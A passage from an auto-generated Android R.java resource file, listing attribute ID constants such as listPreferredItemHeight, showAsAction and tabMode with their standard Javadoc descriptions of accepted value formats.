"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int layout_collapseParallaxMultiplier=0x7f0100b5;
/** <p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int layout_keyline=0x7f0100bd;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>scroll</code></td><td>0x1</td><td></td></tr>
<tr><td><code>exitUntilCollapsed</code></td><td>0x2</td><td></td></tr>
<tr><td><code>enterAlways</code></td><td>0x4</td><td></td></tr>
<tr><td><code>enterAlwaysCollapsed</code></td><td>0x8</td><td></td></tr>
<tr><td><code>snap</code></td><td>0x10</td><td></td></tr>
</table>
*/
public static final int layout_scrollFlags=0x7f010029;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int layout_scrollInterpolator=0x7f01002a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int listChoiceBackgroundIndicator=0x7f010080;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int listDividerAlertDialog=0x7f01005b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int listItemLayout=0x7f010025;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int listLayout=0x7f010022;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int listMenuViewStyle=0x7f0100a0;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int listPopupWindowStyle=0x7f01007a;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int listPreferredItemHeight=0x7f010074;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int listPreferredItemHeightLarge=0x7f010076;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int listPreferredItemHeightSmall=0x7f010075;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int listPreferredItemPaddingLeft=0x7f010077;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int listPreferredItemPaddingRight=0x7f010078;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int logo=0x7f01000a;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int logoDescription=0x7f010127;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int maxActionInlineWidth=0x7f0100f4;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int maxButtonHeight=0x7f010121;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int measureWithLargestChild=0x7f0100d0;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int menu=0x7f0100d9;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int multiChoiceItemLayout=0x7f010023;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int navigationContentDescription=0x7f010126;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int navigationIcon=0x7f010125;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>listMode</code></td><td>1</td><td></td></tr>
<tr><td><code>tabMode</code></td><td>2</td><td></td></tr>
</table>
*/
public static final int navigationMode=0x7f010004;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int overlapAnchor=0x7f0100df;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int paddingEnd=0x7f01012b;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int paddingStart=0x7f01012a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int panelBackground=0x7f01007d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int panelMenuListTheme=0x7f01007f;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int panelMenuListWidth=0x7f01007e;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int popupMenuStyle=0x7f01006b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int popupTheme=0x7f01001d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int popupWindowStyle=0x7f01006c;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int preserveIconSpacing=0x7f0100d7;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int pressedTranslationZ=0x7f0100cc;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int progressBarPadding=0x7f010013;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int progressBarStyle=0x7f010011;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int queryBackground=0x7f0100f2;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int queryHint=0x7f0100e9;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int radioButtonStyle=0x7f010099;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int ratingBarStyle=0x7f01009a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int ratingBarStyleIndicator=0x7f01009b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int ratingBarStyleSmall=0x7f01009c;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int reverseLayout=0x7f0100e3;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int rippleColor=0x7f0100ca;
/** <p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int scrimAnimationDuration=0x7f0100b0;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int scrimVisibleHeightTrigger=0x7f0100af;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int searchHintIcon=0x7f0100ee;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int searchIcon=0x7f0100ed;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int searchViewStyle=0x7f010073;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int seekBarStyle=0x7f01009d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int selectableItemBackground=0x7f010063;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int selectableItemBackgroundBorderless=0x7f010064;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>never</code></td><td>0</td><td></td></tr>
<tr><td><code>ifRoom</code></td><td>1</td><td></td></tr>
<tr><td><code>always</code></td><td>2</td><td></td></tr>
<tr><td><code>withText</code></td><td>4</td><td></td></tr>
<tr><td><code>collapseActionView</code></td><td>8</td><td></td></tr>
</table>
*/
public static final int showAsAction=0x7f0100d3;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>none</code></td><td>0</td><td></td></tr>
<tr><td><code>beginning</code></td><td>1</td><td></td></tr>
<tr><td><code>middle</code></td><td>2</td><td></td></tr>
<tr><td><code>end</code></td><td>4</td><td></td></tr>
</table>
*/
public static final int showDividers=0x7f0100d1;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int showText=0x7f0100ff;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int singleChoiceItemLayout=0x7f010024;
/** <p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int spanCount=0x7f0100e2;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int spinBars=0x7f0100c3;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int spinnerDropDownItemStyle=0x7f01005e;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int spinnerStyle=0x7f01009e;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int splitTrack=0x7f0100fe;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int srcCompat=0x7f01002b;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int stackFromEnd=0x7f0100e4;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int state_above_anchor=0x7f0100e0;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int state_collapsed=0x7f010027;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int state_collapsible=0x7f010028;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int statusBarBackground=0x7f0100ba;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int statusBarScrim=0x7f0100ad;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int subMenuArrow=0x7f0100d8;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int submitBackground=0x7f0100f3;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int subtitle=0x7f010006;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int subtitleTextAppearance=0x7f01011a;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int subtitleTextColor=0x7f010129;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int subtitleTextStyle=0x7f010008;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int suggestionRowLayout=0x7f0100f1;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int switchMinWidth=0x7f0100fc;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int switchPadding=0x7f0100fd;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int switchStyle=0x7f01009f;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int switchTextAppearance=0x7f0100fb;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int tabBackground=0x7f010103;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabContentStart=0x7f010102;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>fill</code></td><td>0</td><td></td></tr>
<tr><td><code>center</code></td><td>1</td><td></td></tr>
</table>
*/
public static final int tabGravity=0x7f010105;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabIndicatorColor=0x7f010100;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabIndicatorHeight=0x7f010101;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabMaxWidth=0x7f010107;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabMinWidth=0x7f010106;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>scrollable</code></td><td>0</td><td></td></tr>
<tr><td><code>fixed</code></td><td>1</td><td></td></tr>
</table>
*/
public static final int tabMode=0x7f010104;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
